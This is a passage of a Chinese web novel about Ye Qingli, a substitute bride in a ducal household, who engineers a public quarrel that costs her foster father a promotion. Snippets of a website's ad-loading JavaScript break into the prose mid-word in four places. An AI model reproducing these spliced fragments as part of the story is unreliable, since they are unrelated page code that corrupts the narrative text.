叶青漓面上镇定自若,抬手给两人倒了茶水,浅喝一口,“是吗?那确实挺奇怪的。” 郑氏脸上笑意更深,说起话来也阴阳怪调,“要我说还是大嫂有本事,大哥从前一心修道,平日里连家都不回。没想到成婚后,竟在府里住了这么久?如今你们成婚也一个月了,不知大嫂的肚子可有什么动静?” “大哥是府中嫡长子,大嫂若是生下嫡长孙,那可是有享不尽的福气!” 确定了,郑氏也是来催生的! 啊不,她和顾承宴没有圆房,府内人人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 皆知,她是来看笑话的! 如果今日坐在这里的是叶蕙珠,许是会被郑氏这番话气得面红耳赤。可惜,自己只喜欢顾承宴的脸和他夫人的名头,对给他生孩子一事没有任何意向。 不过身为一个合格的主母,叶青漓自然不能表示无所谓。 她放下茶杯,瞬间红了眼眶,激动的拉住郑氏的手,神伤不已。 “我和夫君……实在是不堪说!四弟妹和四弟感情甚笃,想来一定有增进夫妻感情的办法,还请四弟妹不吝赐教,若我和夫君关系有所缓和,我定然大礼奉上!” 感情甚笃,用来形容四弟顾承浩和郑氏实在是讽刺! 如果说二公子和二少奶奶是对鸳鸯的话,四公子和四少奶奶就是一对怨偶!两人不仅在帮不帮三公子争家产一事上有分歧,私下日子也过得鸡飞狗跳!原因无他,顾承浩喜美色,未成婚前房中已有多名通房,成婚后更是变本加厉。偏他婚前伪装得好,将郑氏骗进府中,本性才全然暴露,甚至染指了郑氏陪嫁的两个丫鬟! 叶青漓此话一出,郑氏瞬间变了脸色,放在叶青漓手中的双手也毫不留情抽出。 郑氏本以为这个大嫂进门后,没有从赵氏手里拿到管家权,是她无能!没想到她竟连自己房中的龃龉都知道得一清二楚!是自己小看她了! “大嫂说笑了,我可不懂什么夫妻相处之道!”郑氏眼神冷冷的,语气暗含讽刺,“倒是大嫂,既然做了顾国公府的嫡长媳,难道真的甘愿府里中馈一直在别人手中握着,自己只能去捣鼓几个破铺子?” 她那才不是什么破铺子! 叶青漓心底翻了个白眼,垂头柔声道:“我是个没能耐的,四弟妹若是不满,不如直接和婆母说说?婆母那么善良,想必一定会带答应四弟妹的提议的!” 她善良个鬼! 眼见叶青漓油盐不进,郑氏也熄了挑起争斗的心思。 “罢了,我的话带到,也该回了。告辞!” “四弟妹,不送!” * 两日时间转瞬即逝,赵氏带着除辛氏之外的四个儿媳一起来到泾阳候府。 泾阳候虽不如顾国公府显贵,到底也是老牌世家,底子摆在那。府内打扮富丽堂皇,来往宾客衣香鬓影,好不热闹。 叶青漓正看着热闹,一个错眼瞧见一个熟悉的身影。 “姐姐怎么也来这了?” 叶蕙珠听见声音转身,见是叶青漓后,飞快翻了个白眼,“母亲与阙姨是闺中好友,我也常来泾阳候府玩,怎么今日你来得,我就来不得了?” “我并不是这个意思。” 叶青漓脸上挂着一抹温婉的笑意,“上次见面时,姐姐断言我的铺子要关门,叫我难过好久,如今舞弊案彻底告一段落,没成想我的铺子生意又好起来了!姐姐上次不是说姐夫也想来我铺子买书,如今倒是可以来了。” 叶青漓对叶蕙珠很少抱有不满,上次她诅咒自己铺子关门算是一次。如今见了面,叶青漓自然要让叶蕙珠瞧瞧自己做生意的手段! 依照叶蕙珠的性子,瞧见自己的铺子生意越做越好,她定然是会不痛快的。然而叶青漓并没有等来叶蕙珠的不满,反而从她眼底看见一丝不屑。 “一间书铺而已,也值得你拿到我面前来说项?”叶蕙珠冷嗤一声,“我看你就是小家子气,眼底只有那些黄白之物。你可知道,舞弊案中礼部尚书落马,父亲马上就要升职了!你有那时间看账本,不如想想怎么庆贺父亲升职吧!” “义父要升职了?” 这倒是叶青漓不曾想到的。 这也没什么意外,礼部尚书一职十分重要,如今科考在即,圣上定然要安排人补上这个空缺。 只是,凭什么是叶修恺呢?! 24. 舅母 叶蕙珠并没有注意到叶青漓情绪的不对,看着叶青漓惊讶的样子,她心底更加鄙夷。 睨着眼睛白了叶青漓一眼,“早就跟你说过,既然顾承宴不喜欢你,你就待在顾府老老实实做你的大少奶奶。平日里多和府中妯娌走动走动,也就不会连这等大事都不知道了!” 她说着,拢了拢今早沈仕楣亲手戴在她脖子上的狐皮围脖,“都说女子出嫁从夫,虽然顾承宴是个道士,可也毕竟是个男人,你整日在外头抛头露面,和那些三教九流混在一处,小心哪一天顾家将你休了!” 叶青漓闻言轻笑一记,这一次是真心实意的笑。 “我出嫁后不比姐姐在夫家得宠,府内这等大事也的确未曾传到我耳中。今日多谢姐姐告诉我,否则等义父高升之日,我恐怕都还不知道呢!” 叶青漓字字句句都将叶蕙珠说得舒心不已,她高傲地看了叶青漓一眼,“算你识相,这些日子别整你那铺子了,早些想想该准备什么恭贺礼物吧!” 说罢,叶蕙珠头也不回,朝着她闺中交好的几个朋友身边走去。 叶青漓看着叶蕙珠离去的背影,嘴角微勾。 的确,她是要好好想想,该怎么给叶修恺送上大礼。自己上一世大部分的苦难都来源于他,怎么能让他如此顺遂地升职加薪呢? 叶青漓站在暖阁的窗边,看着外面正在迎来送往的泾阳候夫人,一个想法悄然而生。 下一刻,叶青漓起身朝着暖阁外走去,一路直奔泾阳候夫人。 阙流婉正满面带笑招待客人,冷不防耳边传来一个温柔又带着熟悉的声音。 “夫人万安。” 她转过身,竟是陆怡珊家里的那个义女? 哦不,现在已经是顾国公府的大少奶奶了! 阙流婉脸上扬起一抹笑,“这不是青漓吗?你可是跟着赵夫人一起来的?方才我怎么没看见你?” 叶青漓温婉一笑,“方才碰见义姐,与她闲聊了几句,便与婆母走散了。” “哦,那你是来找她们的?我方才瞧着赵夫人好像带着几个儿媳去了暖阁后面,你可以去那看看。” “本是来问夫人婆母去处的,不过见到夫人,青漓心中觉得亲切,想起那日夫人为我添妆时曾说要多来走动,不知这句话可还算数?” 四周人来人往,阙流婉与叶青漓对视一眼,看清了对方眼底的意思。 这丫头是有话要对自己说? “呵呵!”阙流婉浅笑一声,“自然算数!” 随后与一旁的客人说了一声,带着叶青漓往人少的地方走去。 “夫人府中景色别致,倒是与我在顾府看见的不同,想来夫人在这方面花了大心思!” 腊月寒冬,泾阳候府却温暖如春,绿意盎然,这其中除了要花费大量的财力物力外,阙流婉这个女主人也是费了不少心思的。 没有人不喜欢听见别人的夸奖! 阙流婉今日起早为着自己的大孙子忙碌,听多了夸奖小孙子结实健壮,日后出息的话,笑到这会,这还是第一个夸她的客人。 她不着痕迹看了叶青漓一眼,眼底现出几分真切笑意。 “我平日没什么别的爱好,就爱在这些花花草草上下功夫,我家老爷总是说我浪费银子,不想今日竟遇上一个懂我的!” 叶青漓不好意思道:“夫人说笑了!我一个贫苦出身的,若不是义父心善认我为义女,哪里能见识这般富贵,更不消说看出夫人的用心。这些全都是我跟在义母身旁三月耳濡目染看来的。夫人与我义母果然不愧是闺中好友,就连个人爱好都如此相同。不过,义父就不同于泾阳候觉得在这方面下功夫是浪费,他总是惭愧自己官职不够高,不能有个更大的宅子给义母发挥。” 叶青漓兀自说着话,丝毫没注意到阙流婉的脸色自她提到陆怡珊起,已经开始微微僵硬。就在阙流婉想打断她的话时,叶青漓又道:“不过现在好了,日前那出案子后,礼部尚书之位空缺,我方才还听义姐说起,义父似是要升职了!” “想来,义母很快就能过上自由侍弄花草的日子了。” 叶青漓话罢,阙流婉脸上彻底没了笑意。 自己的夫君喜欢自己的闺中好友,即使这件事上,陆怡珊并没有什么错,也不代表阙流婉就喜欢叶青漓拿她和陆怡珊做对比! 两人实在不熟,阙流婉也不好直接撕破脸,正要借口离开,却听叶青漓继续说道。 “夫人,你说这做官升职真就这么容易吗?若是有人在背后参我义父,会不会就升不了职了?” 阙流婉想要离开的话彻底被咽回去,她像是第一次认识叶青漓一样,仔细打量着她。当初自己在陆怡珊面前抬举叶青漓,并非是真的看得上叶青漓,只是熟悉陆怡珊的脾性,想给她一个不痛快罢了。 可是方才这丫头说的话才真叫她惊讶!若是一般人得知自己义父升职,只会高兴不已,哪里会思考被人参一本会不会影响升官? 除非,她不想让叶修恺顺利升官! 阙流婉定神看了叶青漓一眼,缓缓说道:“官员考核十分严苛,若中途有人参奏,查证属实后,想来圣上就不会考虑了,若是事情严重,也许还会有责罚。” “原来是这样,那夫人觉得我与义姐换嫁一事,值不值参上一本呢?” 绕是阙流婉见多识广,也因为叶青漓这般大胆的发言愕然不已!换嫁这种事,可大可小,她就这样当着自己的面光明正大说了出来,不怕自己对叶家不利吗? 不对,她似乎本就想对叶修恺不利! 这一刻,阙流婉虽然不知叶青漓为何如此说,却终于确定了叶青漓的目的。 她心领神会看了叶青漓一眼,“顾国公府位列公侯,叶家如此做,自然令人唾弃!” 叶青漓闻言,忙低下头,十分后怕地搅弄手帕。 “原来此事影响这般大,我以后可得小心行事,千万不能叫旁人因为我对义父指指点点!夫人与义母是闺中好友,即使知道此事,也不会外传的,对吧?” 阙流婉清浅一笑,“自然!” 即使自己不想看着叶修恺升官,也不会让泾阳候去参奏。 但是,有一个人却十分合适! 阙流婉不知想到什么,眸底笑意渐深,惬意地带着叶青漓在泾阳候府赏起景来。 叶青漓刚才的夸赞并非虚言,泾阳候府的确风景如画,暖阁内景色如春,生机勃勃,暖阁外红梅正盛,傲意无双,二者与凛冬大雪遥相呼应,十分迷人。 二人一路欣赏完景色,回到暖阁处,前来参宴的宾客大多也聚在此处。 叶青漓看见赵氏和郑氏几人所在的地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方,打算与阙流婉分开。 还未开口,阙流婉已经拉起她的手走到一位形容严肃的贵妇人面前。 “何夫人,许久不见!” 贵妇人闻言,一脸笑意看向阙流婉,同她嘘寒问暖,顺便表示祝贺。 话了,她的目光才突然落在叶青漓身上,瞧着两人亲近的样子,十分好奇。 “这位是……?” 阙流婉冲她使了使眼色,“哎呦,你真是贵人多忘事,这是宴哥儿的媳妇,一个月前刚进的顾家,你难道不记得了?” “哦,记得记得。” 何夫人嘴上这么说着,脸上疑惑的神情却丝毫未减。 她盯着叶青漓的脸看了半晌,终于忍不住问道:“慧珠怎么瘦了这么多?脸上都没肉了,承宴对你不好吗?” 此言一出,周围正说着话的几位妇人瞬间止了声音,不约而同望了过来。 一位与何夫人交好的更是扯了扯她的衣袖,“你在说什么混话?嫁给你外甥的是叶府义女叶青漓,他家嫡女嫁的是沈家!” “喏,叶蕙珠在那呢!” 随着那位夫人的指引,何夫人终于看见了自己以为的外甥媳妇,只见叶蕙珠一身玫红,正巧笑嫣然与几位好友说着话,察觉到何夫人的目光后,更是刻意侧过身子,不愿与她有任何交集。 “叶青漓?沈家?” 两个陌生的名字把何夫人听得两眼发懵,她看了看躲避自己视线的叶蕙珠,又看了看叶青漓这张陌生的脸,终于意识到事情似乎并不是自己以为的那样! “这到底是怎么回事?” 何夫人忽然冷脸,吓得阙流婉不敢说话,更有许多人好奇地张望此处。 瞧着她惊诧不已还强压着怒火的样子,那位夫人忍不住捂嘴惊呼。 “你不知道?!” “你们一家子常年在外,鲜少回京,承宴又一心修道,不问红尘。那叶家眼瞅着姑爷成了这般模样,既不愿意女儿嫁过去受苦,又舍不得顾国公府这门姻亲,在大婚前三个月随便认了个孤女做义女,嫁去了顾府。” “喏,就是你看到的这个!” 她说罢,指了指叶青漓。 叶青漓也是在这位夫人介绍完,才意识到眼前这人正是顾承宴的舅母何妙旋。 她抬步上前,微微俯身,“青漓见过舅母。” “别!” 何夫人侧过身子,一手微抬拦住了叶青漓见礼的动作,森然目光落在叶青漓身上,“我可没有你这么个外甥媳妇,当初承宴母亲定的儿媳妇是叶家嫡女叶蕙珠,怎么现在成了你这么个破落户?!” 这位舅母说话实在难听,却也是事实。 对比起叶蕙珠的身份,叶青漓的确算是个破落户! 她嘴角笑意不变,依旧对何妙旋恭恭敬敬的。 “舅母,事情的确如这位夫人所说,是我嫁给了夫君,舅母若是心中不满,还请冲着我来,此事与父亲没有关系!” “怎么没关系?!”叶青漓的小心维护瞬间令何夫人怒气更盛,“当初是陆国公府见承宴优秀,才提早定下这门亲事,嫁的虽是叶家女,实则结的是陆顾之好!他叶修恺以为自己是个什么东西?竟敢被着我们偷偷换了这门亲事,叫承宴娶一个无父无母的女子为妻?” “他也配?!” 25. 争吵 这里的动静终究惊动了更远处的人。 叶蕙珠即使背过身去,也能听见何夫人的怒骂。 她脊背一僵,脸上的笑意险些维持不住,正要继续装傻充愣,方才被迫听了叶蕙珠半天炫耀的几个好友却没糊涂。 “慧珠,那不是顾家大公子的舅母吗?她好像生气了,你从前与顾家有过婚约,要不要去看看?” 叶蕙珠做贼心虚,矢口否认,“我做什么要去看?我嫁的是沈家,与顾家没有任何干系,她爱生气生气,与我何干?” “是吗?” 叶蕙珠话落,方才还远在暖阁另一端的何夫人已经站在她身后,正正好将她说的话听了个全乎。 何夫人的声音近在咫尺,叶蕙珠瞬间头皮发麻,转过身后,正好对上何夫人充满怒火的眼神。 叶蕙珠下意识偏过头,想要回避何夫人的目光,却又瞧见跟着何夫人一起走过来的叶青漓。 叶青漓跟在何夫人身后一路拘谨不已,瞧见叶蕙珠后像是见到救星一样眼前一亮。 “姐姐,你也在这真是太好了!这位何夫人是夫君的舅母,似乎对父亲有什么误会,我进叶家不久,不知两家过往,姐姐你快跟何夫人解释一下!” 叶青漓明媚的脸上满是急色,再无半分与阙流婉赏景时的惬意。 她对着何夫人小心中不失恭敬,对着叶蕙珠也十分谨慎持礼,明眼人一看就知道叶青漓是整件事中被叶家拉出来当靶子的,却因为被叶修恺认为义女,上赶着给他说好话。 何夫人想到此处,更加不满地看了叶青漓一眼。 出身低微,懦弱无知,不辨是非,亲疏不分,只有几分美色勉强能入眼,但是和自己那个出尘绝色的外甥相比,又算得了什么? 这样一个无才无貌的女子,哪里配得上承宴? 叶青漓求得越着急,何夫人心里就越发痛,而叶蕙珠的沉默则令这股痛意转为更深的怒火! “你怎么不说话?你为何不说话?是知道你们叶家做了亏心事,不敢说吗?!” “何夫人!话可不是这么说的!” 叶蕙珠毕竟是晚辈,面对何夫人的质问,她心中有一百句反驳的话也不敢当众说出来。但,陆怡珊就不一样了! 她自认与阙流婉是最好的朋友,与泾阳候府往来甚多,与阙流婉的儿媳也亲厚一些,方才耐心与她传授了几句为人母后的经验,便听身旁的下人说道顾承宴的那位舅母来了,这才匆忙赶来给叶蕙珠解围。 陆怡珊一走进来,暖阁内的夫人小姐们瞬间自动给她让出一条路来。 在座的都是有头有脸的人物,平日里即使偶有口角,也会维持基本的体面,表面上看着和和气气的。 然而如今这一出,一瞧就是不能善了的! 叶修恺官至从二品礼部侍郎,马上就要升官。 何夫人一家也不是吃素的! 顾承宴母亲纪以晴出自武将世家纪家,祖上曾经是和高祖一起打天下的,虽然没有和顾国公,泾阳候这般传下爵位,但纪家世代在军中,手中更是常年握着一只队伍,替圣上守卫边疆。五年前边疆动乱,纪家现任家主也就是顾承宴的舅舅带着妻儿老小赶往边疆镇守。 这一走就是五年,就连顾承宴大婚都没能赶得及回来,自然也不知道他们心心念念的外甥媳妇被人掉了包。 如今纪家得胜归来,却发现凤凰变山鸡,这可真真是一出好戏! 围观众人默默吃瓜,身为当事人的叶青漓垂头站在一旁,瞧着好不懊丧,实则她耳朵早就高高竖起,等着两位夫人擦出不一样的火花! “娘!” 叶蕙珠见陆怡珊走过来,瞬间心里有了底气,也不装哑巴了,喊了声娘就朝着陆怡珊跑过去。 陆怡珊见她面色红润,确认没受到什么伤害,悄悄松了口气。 一旁早就看不惯叶蕙珠的何夫人,瞧见母女二人的互动,气得额头筋都跳了,“你们叶家做出这等下作事来,还不许别人说吗?” 陆怡珊施以叶蕙珠一记安抚的眼神,转头看向何夫人时忽然沉下脸,“何夫人请慎言!什么叫做下作事?” “那顾承宴少时了了,大未必佳。二十五岁的人了,一不继承家业,二不参加科举,成日与一些牛鼻子道士混在一起,逢年过节连个人影都瞧不见,难道叫我把女儿嫁给他去守活寡吗?” 守活寡的叶青漓摸了摸鼻子。 “你……!” 何夫人气得七窍生烟,“当初是你们看中承宴少年英才,说他以后必定有出息,求了我小姑子半年才促成的这桩婚事。我们承宴多么好的男儿,为了等她及笄,二十多岁了连个通房都没有,如今你却拿这句话来打发我?!” “你当我们纪家是好欺负的?!” “纪家?” 陆怡珊眉毛一横,“我记得顾承宴姓的是顾吧,他是顾国公府的孩子,与你们纪家可没有什么关系!顾国公夫人都同意的婚事,哪里轮得到你一个拐着弯的舅母来说三道四?” “赵氏她算个屁!”何夫人不愧是武将家的女人,出口成章,性子也十分豪爽,猛拍得桌上茶水晃荡,下一刻直逼陆怡珊额心,“我只问你一句,换亲这事是赵氏的主意,还是你们叶家的心思?” 陆怡珊前面说得冠冕堂皇,到这一句却有了迟疑,何夫人气势太盛,陆怡珊不敢不信,一旦自己点了头,她下一刻就会扑上来打自己。 正是这片刻的迟疑叫何夫人看出了端倪。 “好啊,果然是你们叶家生了悔意,若不是有这桩婚事在,我们承宴早就膝下成群了。为了你们一家子不守信用的,白白耽误这么些年!” 她瞥了眼杵在一旁装乌龟的叶青漓,眼中满是嫌弃,语调也越发激昂,“如今还被你们塞来一个假货糊弄,实在是欺人太甚!” “你不会以为我们承宴生母早逝,纪家又常年在外带兵,就可以随意欺负了吧,告诉你们,你们一定会为这件事情付出代价的!哼!” 何夫人说罢,撞着陆怡珊的肩膀,甩袖离开。 叶青漓看着陆怡珊紧紧皱起的眉心和下意识捂着肩膀揉捏的手,忍不住羡慕,如果自己也有何夫人这般能耐就好了,骂人到底没有真动手来得痛快! 何夫人带着怒气离开,众人吃瓜的动作也被迫按下暂停键。虽然争吵停下了,可众人都知道叶家换亲这事还有得说,毕竟何夫人最后那句话可不是一句简单的狠话。 阙流婉看完热闹,忙端起主人的身份安抚宾客 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “诸位,时间不早了,宴席快要开始了,不如快些落座吧。” 看够了热闹的人很快离开,暖阁内霎时只剩下她们四人。 今日这一出好戏本就是叶青漓和阙流婉引出来的,可两人却只做茫然之态。 叶青漓老老实实站在原地,担忧地看着陆怡珊和叶蕙珠,若非是演技不够,她非得流两滴眼泪下来叫她们见识见识。 阙流婉也一脸忧愁来到陆怡珊身旁,一手轻轻搭在陆怡珊肩上,满眼关切,“怡珊,没事吧?” 叶蕙珠早在何夫人经过时就下意识拉住陆怡珊的衣袖,此刻也十分担心地看着她。 陆怡珊一左一右都有人关心,身上的痛早就不算什么了,只是心底却开始发慌。 她白着脸色,一脸歉意看向阙流婉,“真是不好意思,今日本是你府上的喜日子,却闹了这么一出。” “这有什么的,你又不是故意的。倒是我,竟然忘了今日何夫人也在,没有将她和两个侄女错开。” 陆怡珊摇摇头,“这哪里是说避就能避开的,纪家既然回京,早晚都会知道的。”她轻轻合上眼睛,再睁开时看着叶蕙珠和叶青漓,终是难掩一脸疲态。 叶蕙珠自重生以来,日子虽偶有不顺,却大多叫她十分满意。此刻看着陆怡珊疲惫的样子,第一次这么后悔自己是不是不该这么冲动,不顾家族的名声,执意换亲,让母亲遭到何夫人的为难。 可下一瞬,她又很快甩开这个想法。 她和叶青漓已经各自嫁人,何夫人再是不情愿也不能让时间倒回。只要撑过这段时间纪家的报复,将来自己做了诰命,一样可以再报复回去! 为了自己此生的幸福,只能先委屈母亲了。 何夫人放下狠话必然会有所动作,陆怡珊此刻也没了参宴的心思,和阙流婉说了句就打算告别。 临离开时,余光扫到沉默许久的叶青漓,她想了想还是决定提醒两句。 “那个何夫人不是个好惹的,今日回去后待在府中,哪也不许去!” 将要抬步时,又停下来,再次补充,“回去告诉赵氏,叫她这段时间也安分一点!” 叶青漓匆忙点头,又急急叫住陆怡珊,一脸唯唯诺诺,“母亲,可换亲是叶府的主意,婆母她恐怕不会听我的……” “她不听你就让她听!”陆怡珊厉声说道:“何妙旋是个难缠的,她别以为自己躲在一边不出来就万事大吉了!换亲虽是我们叶府的主意,可收了好处哄着顾国公同意的是她赵素欣!她若是想再被何妙旋揪断头发,就尽管当做什么都不知道!” 揪断头发? 叶青漓不禁对上一辈之间的恩怨感到好奇起来。 然而不等她多想,陆怡珊已经带着叶蕙珠离开了。 如此一来,暖阁内只剩下叶青漓和阙流婉了,两人对视一眼,都从对方眼中看到满意之色。 叶青漓满意阙流婉干事利索,自己前脚暗示她给叶修恺下绊子,后脚她就能找到何夫人这么一个好人选! 阙流婉则满意叶青漓反应快,从来没见过何夫人,都能从旁人的只言片语中猜出身份,又迅速搭话,挑起矛盾! 二人交换完眼神,起身一同朝着宴席而去…… 26. 休妻 何夫人愤而离场,陆怡珊带着叶蕙珠也匆匆离开,一场好戏只剩下一个主角,叶青漓走进席间,身上仿佛有数千道目光。 她保持微笑,镇定自若走向顾国公府女眷的席位,丝毫不在意旁人的目光,大大方方落座。 众人瞧见她这般震惊,看戏的心思散了,投驻在她身上的目光也收回了。 赵氏早在暖阁内起争执的时候就听见动静,因着暖阁内有何妙旋那个泼妇,她没敢凑上去看,一直到方才落座后,其他贵妇人异样的眼光,叫她意识到事情有些许不对。 “方才暖阁里在吵什么?” 赵氏冷不丁发问,叶青漓愣了一下,见赵氏一脸疑惑,显然什么都还不清楚的样子,心下了然。 “是夫君的舅母回京了,她得知叶家换亲的事情,发了好大一通脾气,将我义母和义姐骂了个狗血淋头!临走时放言一定会替夫君讨回公道!” “什么?!” 正如陆怡珊所说,赵氏显然是见识过何夫人的手段的,只从叶青漓转述的话中便想象到了何夫人当时是何等的愤怒。 赵氏的思绪不由得回到顾承宴母亲刚死的那一年,顾国公府新丧,自己就嫁给了国公爷,也是何夫人握着一条鞭子,从纪家带来七八个莽汉,踹开了她和国公爷的寝门,揪着头发把自己从床上拉了下来。 那夜的回忆实在太不堪,赵氏眼底划过一抹后怕,隐隐觉得那处头皮已经开始疼了。 她实在不明白,何夫人一家子在外多年,恐怕连叶蕙珠长大后是什么模样都记不清了,怎么就能这么快知道换亲的事? 赵氏心中思虑太重,不知不觉把心里话问了出来。 叶青漓颇为不安低下头,“我在这府中随意看了会风景,回到暖阁时刚好站在泾阳候夫人身后,舅母她看我脸生,觉得好奇,问了一句,就……知道了。” “什么?是你主动撞上去的?” 赵氏瞬间火上眉梢。 “你知不知道她是什么身份?你是什么身份?你怎么敢主动凑到她面前?” 赵氏语调不自觉拔高,引得旁边的两位夫人纷纷侧目,坐在她身后的郑瑜蓓闻言拉了拉赵氏的衣角。 “母亲,旁边有人看着呢。” 赵氏回头一瞥,正对上竖起耳朵偷听的两人,秀眉一横,两人便老实坐直身子,再不敢向此处张望。 如此一幕倒叫叶青漓想起来了,赵氏身为顾国公夫人,在今天的场子上身份比之大多数人都要高,可偏偏一提到何夫人,她就吓得如同过街老鼠一样,这种感觉实在是妙! 解决掉看戏的两人,即使赵氏压低了声音,叶青漓也能从中感受到几乎能将自己烧成灰烬的怒火,“你怎么能叫她看见,还让她知道换亲的事?” 叶青漓眨了眨一双无辜的大眼睛,“她是夫君的舅母,自然也是我的舅母,新媳妇拜见舅母,有什么不对的吗?” “当然不对!” 她和叶家换亲,从头到尾都是瞒着纪家的! 纪家常年在外带兵打仗,一家老小都不在京城,说不准一辈子都不会回来了。国公爷有自己说话,很容易点头,顾承宴又是个一心修道的,新婚妻子是谁他根本不在乎。她这才敢收取陆怡珊的贿赂,同意换亲。 现在全都叫何妙旋知道了,自己以后可怎么办?! 宴会上觥筹交错,赵氏却再无心思吃喝,一心想着自己将会面对何妙旋怎样的报复。她心下慌乱,脸色也渐渐白了几分,正六神无主之时,余光却瞥见叶青漓正大口吃肉,一脸满足。 “吃吃吃,就知道吃!” 赵氏眉心紧紧皱在一起,眼底满是厌恶,“这都什么时候了,你还有闲心吃东西,你可知道自己是什么身份?若不是我好心同意换亲,你就是求佛拜神都进不了顾家的门!如今何妙旋知道换亲的事,必然会毁了这桩婚事,你以后也别想再做顾家的大少奶奶了!” 赵氏恼得口不择言,叶青漓用那双无辜的眼睛看着她,“就是因为以后吃不到所以现在才要珍惜啊!” 赵氏:“!” “噗嗤!” 坐在赵氏身后的郑瑜蓓终于忍不住,她努力克制自己不要笑得太大声,看着叶青漓说道:“大嫂,你是真不懂还是假不懂?何夫人是大哥的亲舅母,有她在,你恐怕很快就要被大哥休掉了。你一个半路认回来的义女,又因为这种事被休弃回家,叶家人会怎么看你?你回到叶家又是什么样的待遇?” 叶青漓咽下口中的红烧肉,舔去唇边的油渍,“四弟妹说得对,所以我更应该好好珍惜这最后一顿!” 话落,她又夹起一块红烧肉大快朵颐。 郑瑜蓓见状干脆翻了个白眼,想要向身边人寻找认同。 “二嫂,大嫂虽说才嫁进来一个月,好歹也是半个顾家人,你也不劝劝她,想想办法?” 申伊若一直保持安静,即使听见叶青漓和赵氏的谈话内容也只是垂下眼睑,掩饰住那一瞬而逝的惊诧。被郑瑜蓓问到后,她抬眼看了叶青漓一眼,见她吃得自在,脸上没有丝毫担忧之色,心里渐渐有了底。 “往后如何,大嫂心中自有分寸,四弟妹何必如此杞人忧天?” “我杞人忧天?” 郑瑜蓓不甘心,扭头又向五弟妹寻求认同,“五弟妹,你说我的话有没有道理?” 于婉婉先看了眼气得胸口发闷,半天缓不过来的赵氏,又看了眼天塌下来都打扰不了她吃吃喝喝的叶青漓,轻轻摇头。 “这等大事,我哪能知道?换亲一事毕竟少见,想来最后的结果应当会令大家都满意。” 两人一个不搭腔,一个耍滑头,郑瑜蓓觉得没意思,也不再说话。 赵氏看着吃得畅快,丝毫不顾及自己在何夫人手底下死活的叶青漓,横眉怒怼,“休妻!这个妻我们顾家一定休!” “你要休谁?” 清冽动听的声音在身后响起,几人不约而同扭头望去,发现今日本该上山回白云观的顾承宴,不知何时已经站在席间。 顾承宴一身道袍,墨发以竹簪挽起,青色的衣袍在冷风吹袭下衣袂翻飞,更添了几分仙气袅袅,一出场就成了全场的焦点。 “承宴,你怎么来了?你不是说今日要回白云观吗?” 顾承宴的到来带给赵氏的打击不亚于何夫人知晓换亲一事,她忙从座位上起身,脸上扬起一抹慈爱的微笑,假做关切地望着他,“可是忘了带什么东西?” 顾承宴肃着声音,“你方才说要休谁?” “哦,那个呀。”赵氏拉长了声音,玩味地看了叶青漓一眼,仿佛在嘲笑叶青漓,方才伪装得再好又如何,现在正主来了,她还不是要被休弃?“你舅母知道了换亲的事,我正在想她会不会帮你休了青漓,若是如此……” “不会!” 赵氏的话还未说完,便被顾承宴打断。 他声音虽不大,在场的人却全都听得一清二楚,“叶青漓是我的妻子,我不会休她!” “可……” 赵氏彻底愣住,这到底是怎么回事?顾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 承宴不是说过自己一心修道,无心男女之情的吗?怎么现在有机会休妻他又拒绝了? 难不成,他从前说那话都是为了让自己放松警惕?! 赵氏愣神的功夫,顾承宴已经走到叶青漓身边,语气温和,和方才与赵氏对话时判若两人,“你吃饱了吗?” 叶青漓擦干净嘴巴,轻轻点头。 “你让曹掌柜装裱的经书今日送到府中了,本来是要直接送给师傅的,可我记得你说过曹掌柜的手艺一绝,想请你回去与我一同观赏,如何?” 叶青漓眨了眨眼,说实话,顾承宴刚才那样说,她也有些震惊,震惊后还有点小为难,她可不想一辈子待在顾国公府! 不过,眼下,顾承宴的话对自己的处境实在太有利! 虽然赵氏用眼神震慑了两个人,可拗不过场上人太多,方才婆媳几人的对话已经全被这些宾客听见,如今几乎所有人都等着看自己被休。 顾承宴的这句话,起码让自己身上那些或怜悯或鄙夷的目光少了许多。 叶青漓莞尔一笑,“既然夫君有心,我自是要与夫君一起的。” 她站起身,走到赵氏面前,神情恭敬又带着一丝疏离,礼数周全却全完半分亲近,“婆母,夫君来接我了,我便先回府了,泾阳候夫人那边,还请您帮我说一声。” 说罢,两人头也不回地离开,留下赵氏站在原地瞠目结舌。 上了马车后,两人分坐两端,中间的距离可以再坐下两个采莲。 叶青漓看着俊美无双的顾承宴,忍不住泛起嘀咕,“夫君是特意来接我的?” 顾承宴摇头,“我正打算回白云观,是竹页送来一封信才赶过来的。” “什么信?” “是舅母写的信,舅母说已经知道换亲之事,会为我讨回公道。还问我,要不要休妻?” 最后一句话,顾承宴是看着叶青漓的眼睛说的,果然在叶青漓眼中看见一丝震惊。 “才这么会功夫,何夫人就已经写了封信?” 顾承宴眸底划过一丝诧异,这应该是重点吗? “哦,我的意思是……夫君想休妻吗?” “我既已答应你让你留下,就不会再改变心意。你放心,我会将此事与舅母解释清楚。” 闻言,叶青漓冲顾承宴嫣然一笑,“既然如此,那我就多谢夫君了!” 明媚如春的眸子闪着亮晶晶的光,将这冬日阴沉的天色都照得亮了几分。 顾承宴别扭地避开叶青漓的视线,轻咳一声,“舅母性子急躁,今日她骤然得知此事,说话若有什么不妥的地方,你不要往心里去。” 叶青漓偏头想了想,何夫人说话是直率了些,但说的也都是实话。对自己的评价也十分中肯,毕竟她又没见识过自己最真实的一面。 只是听两句客观的评价,就能给叶修恺找来一个强大的敌人。 一个字,值! 事情也的确如叶青漓所料,何夫人回府后便搜集了许多换亲一事的细节。第二日,叶修恺就收到了来自朝中纪家一脉的参奏,其中详细描述了叶修恺如何背信弃义,胆大妄为,玩弄纪家,换亲嫁女。到了最后,这件事甚至上升到了文官轻视武将,将武将任意欺辱这层高度。 圣上看叶修恺不停擦汗,却说不出一句辩驳的话,就知此事非虚,当场呵斥了他,勒令他向纪家道歉,赔偿一万两银子作为补偿,最后还要闭门思过三个月。 至于那个叶修恺原本唾手可得的礼部尚书一职,自然,归了别人。 27. 迎客 叶青漓听说叶修恺被圣上斥责的消息,心中偷偷乐开了花。 